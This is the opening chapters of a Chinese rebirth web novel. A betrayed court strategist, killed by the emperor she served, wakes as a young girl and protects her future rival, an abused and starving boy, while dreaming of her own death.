《回到死敌落魄时(重生)》
1. 初遇
青州夏季闷热多雨,自今早起便淅淅沥沥地下着小雨,隔着一层朦胧的雨帘,屋外的一切都泛着被洗刷后的新绿。
朝阳街南侧的小酒馆和往常一样热闹,嘈杂的声音传到后堂,被雨模糊了几分。
后堂对着巷子的角门处站着个抛着碎银子玩儿的小娘子,瞧着约莫七八岁,一身浅粉绣金线牡丹裙,脖子上带着个明晃晃的银项圈,圆脸杏眼,生得如粉团儿一般。
巷子里的行人来来往往,各形各色,自街上传来的商贩吆喝声不绝于耳,巷子尽头的小溪边还有妇女在捶打衣裳,刚上岸的大鹅成群结队地扑棱着翅膀,抖掉身上晶莹的水珠。
看着这个原身从小长大,自己却十分陌生的热闹小巷,崔蘅自醒来后,第一次有了自己还活着的实感。
刀尖上舔血的日子过了近三十载,一遭身死,竟变成了一个小女娃。好在崔蘅上辈子的人生就跌宕起伏,见过许多荒唐事,若是换一个不经吓的,只怕又要去阎王殿走一遭。
崔蘅揉着自己的肉脸叹气。
还要从头活一遍,好累。
雨势见小,乌云依旧沉甸甸地坠在天空上,她百无聊赖地等着挑货郎,却听见不知从哪传来一阵女人尖利的咒骂声。
“不要脸的丧门星!胆子愈发大了!竟敢偷东西,还叫人家找上门来!”
“早知当初就该把你扔尿桶里溺死!也省得丢人现眼!”
巷子里民户众多,小孩子自然也多,院子和院子挨着,任何动静都能听得清清楚楚,像这般孩子闯祸而受训斥或挨打的声音并不稀奇。
天气闷热潮湿,如蒸笼一般。女人聒噪的嗓音让人心烦意乱,一直等不到挑货郎,崔蘅又怕热,站了一会儿便耐不住性子再候着,转身回到院子。
刚绕过青石屏风,就见丽娘正急匆匆往厨房去。
丽娘正是崔蘅的阿娘,独自经营这家小酒馆,小娘子的阿爹是宏德书院的先生,每日清晨出门,深夜才回来。
“阿娘,今日一直不见挑货郎,您的玉霜膏还够用些日子吗?”
因着要常泡在水里淘粮食洗碗,丽娘的手稍不留神便会干裂蜕皮,玉霜膏可保湿润肤,是他们家要常备着的。
阿爹每隔几天便要叮嘱她,阿娘的玉霜膏及时买,莫要忘了。
丽娘看见崔蘅,紧蹙的眉心微微舒展开:“阿蘅来得巧,玉霜膏不急,阿娘想请你帮个忙。”
她领着疑惑的崔蘅进了厨房,从蒸腾着雾气的蒸笼里拿出两块热乎乎白胖胖的蒸糕放进碟子里,垫着手帕端给崔蘅,轻声道:“谢哥哥正在咱们家门口躲雨,你拿着这个,和他一起吃好不好?”
这巷子里姓谢的一时间全出现在脑海中,可崔蘅前些日子发了场高热,大病初愈,迷迷糊糊的根本想不起来躲雨的是哪个谢哥哥。
她接过碟子,面不改色地应下,朝前堂而去。
管他哪个谢哥哥,见见不就知道了。
屋外暮色将落,天空十分阴沉,小酒馆旁的蔷薇依旧开得热烈,在灰暗的世界里像一簇簇正燃着的焰火,衬得花下灰扑扑的小少年更加死气沉沉。
崔蘅穿过前堂,拿捏着小孩子的步调跃过门槛,举起手里的碟子,兴冲冲地喊:“谢哥哥!我阿娘新做了蒸糕!分你一块!”
少年没有动,垂眼看着空无一物的地面,石塑一般。
崔蘅是个性子活泼的,只以为对方羞怯,便弯下腰引颈去唤他:“谢哥哥尝尝呀!”
少年缓缓掀起眼睫,望向崔蘅。
崔蘅对上一双黑漆漆的瞳孔,顿时浑身一颤,碟子差点端不稳跌到地上。
并不是少年生得可怖,而是这张面容太过熟悉,甚至她死之前见到的最后一个人就是他。
——靖武帝时最年轻的权臣,谢令闻。
前世她是长宣王府幕僚,谢令闻是太子的老师。
皇帝垂垂老矣,太子却依旧是个懵懂孩童,而她所追随的长宣王世子都将及冠。
储君年幼,群狼环伺。
崔蘅便是对皇位虎视眈眈的狼中一员,而谢令闻护着小太子,寸步不离。
他们是天下皆知的死对头,逢年过节必要许下对方早死的心愿。
崔蘅曾派人去探查过谢令闻,只知他父亲不详,母亲年轻时算得上貌美,以前在上京的大户人家里做过侍女,不知怎么得被赶出了门,回乡后没过多久便生下一个儿子,却并不欢喜,因此谢令闻的童年极度凄惨。
当时谢令闻已经是储君老师,御前近臣,皇上和小太子都十分信任他,而他性子寡淡,为人正直,正直到甚至有些惹人厌烦,朝中无人愿意与他结交,是以他总是独来独往,也就崔蘅偶尔与他呛上两句。
她看着写着他童年悲惨往事的字条,只感叹莫欺少年穷,可真真正正看到少年窘迫的样子,就算知道他以后会平步青云,也无论如何都感叹不出来了。
更何况,谢令闻还算她半个恩人。
眼前的少年郎就算垂眼坐在屋檐下,脊背也不曾弯下半分。他衣衫破旧,短了一截的袖口遮不住瘦骨嶙峋的手臂。崔蘅注意到,他手里还死死攥着半个脏兮兮的干馒头。
她看得心酸,又把盘子往前递了递,轻声开口:“谢哥哥,我们一起吃吧。”
少年终于有了动静,漆黑的瞳孔微颤,目光定在她脸上。
崔蘅露出一个善意的笑,拿起一个糕点递上前,手背却忽然被狠狠拍了一下。
一道细长的影子笼罩住她,眼前出现一张惨白并且抹着艳丽脂粉的脸,那白粉衬得瞪着她的两只眼睛极黑,如没有眼白一般,十分瘆人。
“我们可吃不起这金贵玩意儿!”白面女人毫不客气地推开崔蘅,盯着谢令闻,脸上的厌恶不加掩饰,“我不是让你去找宋老三给他当看门狗吗!?跑这来躲什么懒!”
谢令闻垂下眼,面容平静,对女人的咒骂无动于衷。
崔蘅听不过去了,皱眉挡在他身前,怒气冲冲地反驳:“你凭什么这么说他!”
小娘子年纪不大,个子刚到谢令闻的肩膀,一生气便从头红到脚,展开胳膊的样子像母鸡保护幼崽,笨拙又好笑。
谢令闻被她护在身后,能看到她腰间挂着的香囊,应该是自己绣的,把鸳鸯绣得像只胖鸟。
小孩子一般都怕大人,尤其是很凶的大人,她却不怕,还敢和对方瞪眼。
女人瞧着小娘子气得双颊通红的模样,轻嗤道:“凭什么?就凭我谢秋娘是他亲娘!就凭他不要脸去偷人家的狗食!”
崔蘅愣住,她只知道谢令闻童年凄惨,不受母亲喜爱,却不知道竟凄惨到如此地步。
“我教训儿子还轮不到你插手!”谢秋娘的耐心被消磨干净,正要上前将崔蘅扯开,一直沉默的少年却忽然开了口。
“宋叔的铺子没开门。”
他的嗓音十分平淡,平淡到可以视作冷漠的地步,仿佛辱骂他的母亲是一个毫不相干的陌生人。
“没人就在门口等着,狗怎么给他看家的你就怎么看!”谢秋娘满脸嫌恶,啐道,“也不知我造了什么孽,竟生出你这样的蠢材!”
崔蘅气得整个人都在发抖。
她这时才明白,前世的谢令闻最后被万人唾骂时,为何还能云淡风轻。
她以为是他心冷似铁,却不想,原来他是听着自己母亲的恶言长大的。
那些闲言碎语,哪里比自
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己母亲亲口吐出的诛心。
而年仅十一岁的谢令闻甚至已经可以淡然处之。
他略过崔蘅和谢秋娘,独自一个人迈进雨中,朝西街宋老三的铺子走去。
细雨中,少年郎背影挺拔,似迎风淋雨依旧坚韧的竹,那清正冷凛的模样,竟然已经能隐约看出二十年后青年权臣的影子。
崔蘅记得谢令闻身子孱弱,时常带着病体上朝,有几次甚至在朝堂上昏死了过去,若不是皇帝强行下旨要他在家休养,他只怕会将自己活活累死。
像这般淋雨,他定会大病一场。
“谢哥哥!你等等我!我给你拿伞!”
谢令闻听到小娘子朦胧的呼唤,没有停顿,也没有回首,只是冒着风雨往前走,单薄的身影逐渐消失在街角尽头。
崔蘅以为他没有听到,便抱着盘子急忙往屋内去拿伞,却被谢秋娘一把揪住后衣领。
“他要淋雨就让他淋,病死才好,你这丫头怎得那么爱多管闲事。”
“你放开我!放开我!”崔蘅人小力气小,胳膊和腿一起扑腾也挣脱不开谢秋娘的魔爪,憋得小脸儿通红。
刚从后院出来的丽娘看见自己闺女被那么欺负,抄起手边的算盘就迈出了门。
“谢秋娘你再敢碰我闺女一下试试!”
丽娘的泼辣远近闻名,但凡有人敢在她面前提她的身世,亦或是碰了她当眼珠子疼的女儿,丽娘只用一张嘴便能将那人的面皮撕下来,若是闹到动起手来,她也丝毫不怵,是敢提刀砍人的,是以十里八乡没人敢惹崔家三口。
谢秋娘自然也怕丽娘。当年丽娘和丈夫女儿刚搬来时,她瞧不上丽娘那副把自己男人吃得死死的模样,又嫉妒二嫁的丽娘能找到那么好又有本事的男人,一时便起了些心思,每日捏着帕子站在巷口等崔家男人路过。
只恨那男人是个木头疙瘩,她扭得腰都酸了,也没让那男人看自己一眼,还叫丽娘给察觉到了,大清早的被泼了一身粪水,熏得她半个月没敢出门。
谢秋娘看着丽娘撸起袖子,心里一慌,生怕那算盘招呼到自己脸上,便赶忙松开崔蘅,扭着腰往街后跑,嘴上还骂骂咧咧地道:“真是一家子的泼皮!我懒得和你们多计较!”
丽娘给崔蘅整理着衣裳,闻言狠狠呸了一声:“你大可随意来,我丽娘可不是什么任你揉搓的软柿子!”
崔蘅乖乖站着让自家阿娘理袖口,“阿娘,我能去给谢哥哥送伞吗?”
“自然可以。”丽娘摸了摸崔蘅的脑袋,叮嘱道,“只不过一定要在天黑之前回来。”
“我知道啦阿娘!”
崔蘅翻出自己用来装零嘴儿的荷包,把蒸糕用油纸包起来塞进去,又拿起阿爹亲手给她做的小花伞,朝着谢令闻离开的方向撒腿跑去。
-
日暮西沉,乌云间隙中镶着碎金,漏出的光辉给正在下的雨也镀上一层金光,天地间洋洋洒洒,仿佛下着一场淋漓的金雨。
崔蘅还在四处寻找着谢令闻的身影。
她爱吃宋家的包子,阿爹经常带她去买,那附近的路她再熟悉不过,可连路边的石头都翻过了,也没能找到谢令闻。
崔蘅满头是汗,恹恹地蹲在路边,连手里的小花伞都没有方才鲜艳了。
天色渐晚,街上的店铺纷纷挂上灯笼,雨雾中一片灯火璀璨。
她再不回家,阿娘就该担心了。
崔蘅一步三回头地走了,身影逐渐隐没在人群中。
就在宋家包子铺的仓房旁,一只大黄狗呜咽着趴在脸色苍白的谢令闻身边,不断地用鼻子拱着他,可他却没有任何反应,靠着墙蜷缩在一起,紧闭着双眼,看着似乎早已失去了意识。
2. 梦
小孩子经不住累,崔蘅吃完晚饭,还没等到阿爹回来,便困得忍不住睡了过去。
在梦里,她似乎又回到那年冬天。
这是长宣王赵檐登基的第一年,也是大周历年来最冷的一个冬天,上京还罕见地飘了雪。
赵檐有意大办今岁的除夕宴,集英殿里歌舞升平,幡旄光影,照耀满殿。
崔蘅和赵檐一起长大,又在他被贬安阳时不离不弃,筹谋多年助他登上皇位,除夕宫宴,她这个新封的镇安侯自然坐的最靠前。
许多人都来恭维她这个炽手可热的皇帝宠臣,崔蘅不好拒绝,便吃了许多酒,酒意上头,一时有些意识模糊。
大殿里觥筹交错,一片欢腾,她皱着眉摇了摇头,无论如何也驱不散眼前的雾。
有宫女走上前将崔蘅扶起,恭敬地道:“侯爷醉了,陛下命奴婢扶您去后殿更衣。”
崔蘅看向那个稳坐高台的明黄色身影,隔着一团氤氲雾气,男人的神情看不真切。
崔蘅不疑有他,远远行了个礼,便由着小宫女领她前往后殿。
皇城内灯火通明,出了集英殿,鼎沸的人声逐渐远去,天地间只剩积雪被鞋履踩碎的呻吟。
崔蘅很少饮酒,是以酒量很浅,按常理来说,出来那么久也该散些酒力了。
可她不仅没有清醒几分,反而头脑越发昏沉,整个人困倦不已,在意识到不对劲的前一秒,她的意识便已经陷进一片黑暗中。
不知过了多久,崔蘅听到耳边传来隐隐约约的诵经声,她费力地睁开双眼,模模糊糊地看见不远处盘坐着一个正摆弄什么东西的和尚。
崔蘅头疼欲裂,咬着牙坐起身时,手边碰到一抹温热。
她皱眉望过去,却发现自己身边躺着一个面色惨白的陌生女子。
这个女子是谁?她们为什么会躺在一起?这个和尚是哪来的?
崔蘅反手拔掉身边女子头上的簪子,摇摇晃晃地下榻拎起和尚,将簪子抵在他喉前逼问:“谁派你们来的?你们想干什么!?”
和尚抖得不成样子,哆哆嗦嗦地说:“小僧是、是来给薛家娘子祈福的,派小僧来的是、是……”
“哪有和尚没有经书木鱼,反而带着一堆草药银针?说实话!”崔蘅等得不耐烦,将手里的簪子又往前送了一寸。
倏然间,一支黄翎羽箭破空而来,正中和尚的眉心。鲜血四溅,喷射到崔蘅的脸上,温热粘腻。
崔蘅凝视着羽箭,半晌后,扔掉手里已经死透的和尚,一步步上前,猛地推开大门。
天幕低垂,灯火通明的皇宫屹立其中,威严而肃穆。
崔蘅看着面前一个个如临大敌的禁军,轻轻扯了扯唇角:“陛下要想杀我,何必如此大费周章?”
她这时才想起来薛娘子是谁。
先帝在时为赵檐定下过一个婚约,只不过并未直接下旨。
薛娘子病弱,常年用汤药吊着一口气,后来赵檐父亲因意图谋反被诛,赵檐被贬安阳,这桩婚事便在众人的默许下废除了。
直到赵檐登基,薛家明里暗里提了不少次旧事,有想把女儿送进宫的意思。
崔蘅曾无意间在赵檐枕边发现过一张面容不甚清晰的女子小像,赵檐既不告诉她是谁,也不肯给她仔细瞧瞧。
现在想来,也许那便是薛娘子的小像。
可薛娘子病重,赵檐为何会请来一个不着调的和尚,还把被灌醉的她与薛娘子放在一起?
又或许,这一切都只是一个幌子,赵檐只是惧她功高盖主,想用什么法子除掉她而已。
一团团疑云堵塞在脑子里,崔蘅不明白赵檐要做什么,但她知道,胜似手足的多年挚友,终于还是走到不可挽回的地步。
——赵檐不再像以前那般信任她了。
周围一片寂静,只有紧紧盯着她的禁军。
崔蘅扔掉簪子,轻笑道:“陛下对臣有恩,臣不欲抗旨,便在此谢陛下赐死。”
-
在崔蘅看不见的阴影处,太监总管徐福海战战兢兢地跪在脸色阴沉的帝王脚边,只觉得自己的脖子凉飕飕的。
哎吆喂,谁能想到那药量太小,竟让镇安侯给醒了!
所有计划毁于一旦,连同他的贱命一起,全完了!
“徐福海。”男人嗓音沙哑,疲倦不堪,“命所有禁军退下,让她走。”
“奴才遵旨——啊?”徐福海太过惊讶,猛地抬起头,不小心窥见圣颜。
赵檐的眉间笼着散不开的郁气,黑暗隐没了他的五官,夜色隐隐勾勒出他紧绷的下颌,象征着无上权力的龙袍穿在他身上,此时却不显威严,反而满身落寞。
“对外宣称镇安侯遇刺身亡,你去寻一个与她身形相似的尸体。”
赵檐吩咐完,背过身去,不再看不远处的身影。
徐福海小心翼翼地开口:“陛下,那薛家……”
“薛家那里朕自会解决。”他闭上眼睛,声音很轻,“把薛娘子送回去,你替朕也去送送她。”
徐福海领命而去,这阴暗的一角,只剩赵檐一人,夜色弥漫到他身上,似是要将他整个吞噬。
-
崔蘅正在脑中预设赵檐会让她如何去死。
是赐她一杯鸩酒,还是会赐她一根白绫?
好歹相识数年,他总会给她一个体面的死法吧……
禁军却在这时忽然退去,收起兵戈,不再虎视眈眈地紧盯着她。
赵檐身边的太监总管徐福海牵着一匹马急匆匆走来,满头大汗地向她行了个礼。
“奴才见过侯爷。”徐福海松开缰绳,低声道,“陛下让奴才往端成门去送送侯爷。”
崔蘅皱起眉,“什么意思?”
徐福海跪到地上,为崔蘅充当人凳,闻言只道:“侯爷,再晚一些,路便不好走了。”
崔蘅抿了抿唇,不再多问,利索地翻身上马,没碰到徐福海半片衣角。
马儿不安地来回踱步,崔蘅拽紧缰绳,垂眼看着徐福海,面色平静:“我七岁起便和陛下形影不离,十几年过去,如今已到各自上路的时候,就不必相送了,公公回去替我谢过陛下恩旨。”
她说完,便夹紧马腹,朝端成门策马而去。
风雪渐盛,掩盖了前路,崔蘅双眼干痛,却没有让马儿慢下半分。
她疾驰过端成门,匆匆一瞥。
朱红大门已经露出原色,斑驳不堪,大道上树木凋敝,雪盖满路,入目是一片白与一片荒芜。
许多年前,崔蘅曾和赵檐在这门前相依着跪了整整一夜。
那时赵檐还是皇长孙,是长宣王府的小世子,在锦绣堆里长大。
而崔蘅是他从死人堆里刨出来的小乞丐。
赵檐给了崔蘅第二条命,还给了她一方遮风挡雨的屋檐和安稳的生活。
崔蘅铭记着这份恩情,寸步不离地跟着他,和他一起读书习武,替他罚跪挨打。
刚满十二岁时,女子的特征开始显现出来,崔蘅明想对赵檐坦白,却撞上长宣王被指认谋反。
王府上下三百四十口人,在皇权的倾轧下,无一幸免。
赵檐因为年纪小,又是皇长孙,破例圈禁在王府听候发落。
一切都发生得太快了,没过多久宫里便传出王妃跪地自裁的消息。
崔蘅看着只终日枯坐,连哭也哭不出来的赵檐,选择咽下自己的秘密。
她知道王妃跪地自裁是仿效长宣王早逝的母亲德成皇后。
皇上幼时不受宠,过得很艰难,只有一个和他年龄差不多大的小宫女愿意照顾他。及冠后,他便纳了小宫女为侧妃,一年后便生下长子。
先皇老而昏聩,常疑心自己的儿子有弑父夺位之意,还是皇子的皇上因荷包里装了一把金黄的玉米粒而被迁怒,只是一介皇子侧妃的德成皇后选择将罪名全部包揽到自己身上,跪地自裁谢罪,死后尸体姿势不变,下葬时只能敲碎骨头使她的腿伸展开来,如此悲烈,才勉强保住丈夫的性命。
后来皇上登基,力排众议,封其为皇后,谥号德成,葬入皇陵。
王妃不惜用自己的生命去赌皇上没有忘记德成皇后当年与他一起吃得苦,崔蘅自然不能让王妃白死。
她命人取来赵檐幼时用的小被子,咬破指腹,以血代墨,写了一封鲜红刺目的罪己书。
一罪为不能再侍奉皇祖父,是不孝不敬;二罪为眼看父亲误入歧途,身为人子却一无所知;三罪为父母皆去,自己却依旧苟活于世……字字凄哀,动人肺腑。
崔蘅准备好一切去找赵檐时,他还在窗边枯坐,双目无神,似一座没有气息的泥塑。
早上端来的膳食原封不动的放着,早就冷却凝固。
她并没有去劝慰,冷眼旁观,讥讽道:“殿下不吃不喝,大约是已经心存死志了,不如现在便去死,叫所有人都看看长宣王世子是如何畏罪自杀的!”
赵檐的眼瞳微微动了动,却依旧没有光采。
崔蘅把写着血书的小被子扔进他怀里,冷声道:“殿下若是想以后就此被踩进泥里,让王妃这条命白白送掉,就这样一直
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坐着当个懦夫。”
她转身走了,守在屋外,轻轻叹出一口气,等这个突遭大难的孩子自己缓过来神。
一天后,门终于打开了。
赵檐只着中衣,赤脚散发,眼睛乌沉平静。
“崔蘅,随我出府向皇上请罪。”
十一岁的少年,声音却喑哑干涩,从前的意气昂扬,竟已完全消失殆尽。
崔蘅悬在心里的石头终于落了地。
起码赵檐没有完全放弃,还愿意出去搏一条生路。
已近深秋,寒风穿过僻静的王府,卷起地上的枯叶,赵檐捧着罪己书跪在飞扬的尘土里,膝行向前,一叩一拜一喊:
“父母有过,罪在臣躬,恳请皇上赐罪!”
声声泣血,声声悲怆。
在长宣王府看守的禁军见状,无人敢拦。
崔蘅跟在赵檐后方,数过六千九百二十八步,每一步,都混杂着赵檐的血。
端成门前守卫森严,朱红大门紧闭,赵檐用双手将罪己书捧过头顶稳稳地跪着,背影挺直如松。
他们就这样跪了一整夜,无数次晕过去,又无数次爬起来,直到大门终于敞开,皇帝身边的太监亲自扶赵檐起身,将他送去太医署。
皇帝看过罪己书后还是心软了,下旨让赵檐承袭他父亲的爵位,将离京城最远的安阳划做他的封地,无诏不得回京。
他们走得很匆忙,身无一物。
赵檐发着高热,昏迷不醒。他的膝盖几乎已经被磨平,伤口狰狞露骨,十分可怖。
崔蘅把自己的外衣脱下来裹在他身上,紧紧抱着他为他取暖,一切办法都用尽了,赵檐还是一天天的衰败下去。
他病得神志不清,有时抓着她喊阿娘,有时又哭着说自己好痛。最后是押送他们的禁军首领看不过去,给了她几件御寒的衣物和几副汤药。
这几件他人施舍来的衣衫,贯穿了她和赵檐在安阳吃尽苦头的每一个春夏秋冬。
终于,曾经被狼狈赶出京城的少年披上龙袍,占据权力顶端,不再需要别人的施舍,反而可以施舍给她一个活着的机会。
身后火光冲天,皇城内兵戈声四起,夹杂着太监尖细的嗓音。
“镇安侯遇刺!传太医!锁宫门!”
崔蘅想再回头看看,可就在她偏过头的一瞬间,一支冰冷的箭矢刺破雪幕,正中她的心脏。
崔蘅的瞳孔猛然扩散,手臂脱力,仰面摔下马,滚落到雪地里。鲜血飞溅,砸在白茫茫的大地上,似一朵朵绽放的红梅,艳丽至极。
她有些茫然地看着天空中洋洋洒洒的雪花,半晌后,费力地转动瞳孔,看向自己胸前的羽箭。
依旧是黄翎。
后悔放她走了吗?
崔蘅的胸腔慢慢震动起来,似乎是想笑,口鼻中却开始源源不断地溢出鲜血。
朔风凛凛,大雪纷飞,她安静地等待着自己的死亡,祈祷这一夜的雪足以掩盖住她的尸体,好让她死得体面些,不要吓到别人。
崔蘅有些累了,她想睡一会,却听见一阵由远及近的铜铃声。
“叮铃——叮铃——”
是来带她走得黑白无常吗?
崔蘅慢慢睁开眼,看见雪地里出现一抹青。
来人清癯瘦削,衣衫单薄,只着一身浅青色单衣,手上牵着一头瘦弱的骡子。
不是鬼魅,是被她害得丢了官的谢令闻。
对方青衫落拓,她血浸满身。
仇人见面,彼此竟都狼狈不堪。
谢令闻在崔蘅身边驻足,目光停在她身上,淡淡的,如水一般。
虽然他没有展现出任何表情,崔蘅还是忽然升起一股难堪。
自作聪明的崔蘅被自己最信任的人害死了,而且死得那么狼狈,躺在雪地里,血水和泥沾了满身,还被冻得浑身发抖,她现在一定难看极了。
崔蘅想让谢令闻滚开,可一张嘴就会涌出更多的血。
原来人有那么多的血可以流。
崔蘅彻底没力气了,也没心思在意谢令闻了,她真的困了。
她缓缓闭上双眼,意识彻底消失前,她感觉到似乎有什么东西盖在了自己身上。
温热的,还带着苦涩的药草味。
是谢令闻,他为她舍弃了自己唯一御寒的外衣。
没想到全了她心愿的,竟是自己一直想尽办法除去的谢令闻。
崔蘅的眼角慢慢滑落一滴泪,泪珠坠进雪地,了无痕迹,只剩一抹暗色的水痕,瞬而便消失在无边无际的雪地中……
3. 找他
崔显到家时还未宵禁,女儿已经睡熟了。
他隔窗望了眼女儿,便轻手轻脚地回了隔壁寝房。
丽娘正在为他倒洗脚水,招呼他坐下脱鞋,好泡泡脚解乏。
“我自己来,你先坐下,瞧瞧我给你带了什么。”崔显眉目含笑,从怀里掏出一个油纸包打开,露出几个金黄的酥儿印。
酥儿印个个都还泛着热气儿,上面撒着的细白糖在烛火下亮晶晶的,看着就知道是崔显揣怀里好生护着才带回来的。
“好端端的买这个做什么?又浪费钱。”丽娘嘴上抱怨着,眉梢眼角却满是笑意。
崔显知道自家娘子嘴硬心软,乐呵呵地道:“知道你爱吃这个,回来的时候看摊子上还剩下几个,便索性全买了,也好叫老板早些回家。”
窗外的雨已经停了,远处传来几声隐约的狗吠,夜色安宁,屋内灯火如豆,欢快地跳跃着,盈满一室温馨。
丽娘和崔显分着吃了一个酥印儿,剩下几个放到橱柜里,留给崔蘅明天当零嘴儿。
夫妻俩漱完口躺下,刚说几句体己话的功夫,便听见隔壁传来房门被推开的声音。
二人对视一眼,忙掀开被子下床去查看情况。
原以为是进了贼,出了门才发现,是女儿睡醒了。
崔显怕吓着女儿,声音放得极轻:“阿蘅做噩梦了?”
崔蘅梦到前世,身临其境的濒死感让她猛地惊醒了过来,她不敢再睡,便想出来透透气,却惊扰到阿爹阿娘。
崔蘅怕崔家夫妇细问做了什么梦,便摇了摇头,挽住自家老爹的胳膊晃了晃:“没有做噩梦,是阿蘅饿了,阿爹今日有没有给阿蘅带回来什么好吃的?”
丽娘给她裹上大氅,把酥印儿端出来,打趣道:“隔着一堵墙还能闻到味儿,果真是小馋猫。”
崔蘅咬了一口酥脆的酥印儿,又把手心里掉的碎渣一口闷了,连吃两个,才慢吞吞地开了口:“阿爹回来时可曾见过谢哥哥?”
崔显披着外衣,正对着蜡烛看书,闻言没反应过来,反问道:“你哪个谢哥哥?”
丽娘替崔蘅作了答:“就是谢秋娘家的那个,前些天都说那孩子偷了宋老三家的狗食,宋老三找上门提了个醒,原是怕孩子吃坏,那谢秋娘大约是觉得丢面儿,非赶着令闻去给宋老三家当狗,阿蘅跟着去找了几圈,想给他送点吃的,没找到人影。”
“我路过谢家院子时瞧了一眼,门上挂着锁,屋里头不像有人的样子。”崔显皱起眉,也露出几分担忧。
丽娘一听崔显说谢家院子锁着门便怒上心头,骂道:“谢秋娘定是又和男人鬼混去了!这个没脸没皮黑心肝的……”
话没说完,就被崔显握住手打断:“娘子消消气,左右还没宵禁,等阿蘅吃饱了咱们一起出去找找令闻就是。”
丽娘这才想起来崔蘅还在,便压着火气住了口,转身去准备灯笼。
崔蘅听阿爹说谢家没人时就开始着急了,慌里慌张地咽下嘴里的酥印儿,便跑回房间穿好衣裳,要跟着去找谢令闻。
天色还不算太晚,街上还有零零散散的几个铺子没闭店,崔显看女儿满脸焦急的模样,怕她自己在家偷偷跑出去,便松了口,同意她一起出门。
夜色微凉,繁星点点,崔蘅和丽娘一起向宋家铺子周围找,崔显则去别的街打探有没有人见过谢令闻。
宵禁时间越来越近了,丽娘开始着急,“这孩子藏哪去了?莫不是伤透了心,自己偷偷跑出城了吧?”
她越想越觉得此事可能性极大,便叮嘱崔蘅站在原地不要乱跑,自己去城门附近打听打听。
崔蘅乖乖应了,蹲在地上数星星。
她想起和谢令闻的初遇。
那时她刚十七岁,随赵檐受召回京,在离京不远的汾县驿站暂时休整。
赵檐在屋内更衣,她去给膳食试毒,却看见八宝桌上的盘子皆绘制着杨贵妃马嵬坡赴死图。
绘制典故没什么大碍,唯一的问题便是盘子上画的杨贵妃不仅衣衫不整,还是跪地自缢。
正应照先长宣王妃和德成皇后。
崔蘅怒火中烧,又怕惊动赵檐,便命人将桌子移到院外,传唤奉命来迎接他们的人。
来者是一个身着绯红色官袍的青年,眉骨挺立,瞳若点漆,唇色极淡。
不像办差的,倒像哪个花楼出来的小白脸儿。
因为盘子的事,崔蘅对此人的第一印象极差。
青年像不知道发生了什么事似的,缓步走过来,还有心思朝她作揖行礼。
“下官谢令闻见过……”
“你们是怎么办差的!”崔蘅没等他把话说完,抬手便将盘子狠狠掷到地上。
瓷片四溅,不慎划破青年的手背,血珠溢出,鲜红刺目,这个叫谢令闻的青年仿佛察觉不到痛,垂着眼,慢慢行完了礼:“长史有何吩咐。”
话音平缓,嗓音淡然,并未生怒。
崔蘅拿起另一个盘子,瞧着上面凄哀悲艳的杨贵妃,冷笑道:“知道的明白谢大人是奉命迎接,不知道的还以为是来特地戳我们殿下心窝子的!”
谢令闻接过盘子,看清上面的图案后,眉头微蹙,“此事确实是下官的疏忽,下官会给长史一个交代。”
态度谦逊,却不卑不亢,既不谄媚也不惊惧,倒是个经得住事的。
崔蘅高看了这人几分,便不再为难,坐在堂前等他们探查。
李白桃红,柳亸莺娇,杏花团团簇簇地挤在枝头之上,恍若一片烟霞。
谢令闻站在树下同她一起等着,容色不输那满树杏花半分,只是他面上没什么表情,眉眼低垂,便瞧上去冷冰冰的,这灼灼春光都捂不透似的。
一个文臣,反倒锐意逼人,似嶙峋的冰锥,看起来易碎,却尖硬锐利,冰冷刺骨。
不多时,送盘子的人便找到了。
是一个八九岁的小男孩,身上脏污不堪,手上脸上还都沾着各色绘彩,吓得浑身都在发抖。
询问的人道:“这孩子说是一个不认识的人定的图,价钱给的不低,他们便接了,后来再也没见过那人。”
左右不过是京中那几位来恶心人的,崔蘅本就没想过要查清,只是赵檐现在刚回京,不能有半点闪失。
“这些盘子寻个地方埋了,再给这孩子些银两,凡是涉及此事的全都送出京。”
崔蘅吩咐好后,便起身回去服侍赵檐用晚膳,等她再出屋子,发现谢令闻还在院子里审问男孩那神秘人的长相。
他生得清冷,专注时眉头又总轻皱着,没有半点亲和力可言,孩子怕得话都说不清了,嗓音也带了些呜咽。
谢令闻既没有不耐,也不出声催促,只是观察着他的神色,时不时垂眼记录一下。
崔蘅愕然。
但凡有脑子的人都明白此事是赵檐那几位皇叔
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的手笔,往上查便是自讨苦吃,这人莫不是想问罪皇子?
“谢大人,不必查了,此人来去无踪,定有帮手,是查不到的。”
她自认为提醒的已经十分直白,可谢令闻只是掀起眼帘看了她一眼,随即便又专注于手中的纸笔,嗓音浅淡:
“谢某办事疏忽,本就该担责查清。”
整整一夜,谢令闻屋子里的灯都亮着,崔蘅巡查时,能隔着窗户看到他伏案的身影,像被风压弯却始终不折的竹,坚毅挺拔。
第二天一早,到了要上路的时候,人群中依旧没有谢令闻,崔蘅去问了才知道,他坚持留在汾县问清线索。
崔蘅无言。
她从未见过如此冥顽不灵且直板固执的人。
直到很久以后,他们已经分为不同阵营,崔蘅早已忘却这件事。
谢令闻在某一天早朝拿出盘子当作证据弹劾四皇子不敬德成皇后,引得皇上震怒,一举将其踢出皇位备选人之列,让崔蘅震惊不已。
他竟然真的查了那么多年,崔蘅惊讶之余,又不禁感叹,谢令闻这类人惹不得,若要被缠上,那真是到阴曹地府也难以摆脱。
这种难缠固执的人,应是连阎王爷也头疼的。
崔蘅正在心里祈祷谢令闻平安无事,耳边忽然响起隐隐约约的犬吠声。
她想起来谢秋娘说谢令闻偷狗食的话,便站起来循着声音往宋家铺子后头走,透过门缝,看见一只黄狗卧在地上,而谢令闻躺在白霜一般的月亮地里,双眼紧闭,脸上毫无血色。
“谢令闻!”
崔蘅忙推开门进去,把谢令闻扶起来,却触到一片滚烫。
她忙把自己的大氅脱下来给谢令闻裹着,半蹲下来,把他放到自己背上。
崔蘅原本做足了要用很大力气的准备,却没想到谢令闻那么轻,让她一个不满八岁的女孩那么轻松地背了起来。
大黄狗在她脚边打着转,急切地叫了几声,仿佛是催促她快些救谢令闻。
崔蘅不敢耽误,忙背着谢令闻出了宋家仓房。
她一个小女孩力气再大,背着一个人也走不太快,便只好一边走一边喊着救命。
恰巧遇到刚从城门处无功而返的丽娘,她见崔蘅跌跌撞撞地背着个比自家大一圈的人向前走,赶紧扶稳女儿,将谢令闻接过来。
“阿娘,谢哥哥身上好烫,快救救谢哥哥!”
崔蘅急得满头大汗,她身边的黄狗也配合地叫了两声。
丽娘不敢耽搁,一手拦腰抱起崔蘅,一手扶稳背后的谢令闻,风风火火地往家赶。
崔显看到自家娘子一拖二,身后还跟着只狂奔的狗,吓得心脏都要骤停,“娘子!慢些!慢些!”
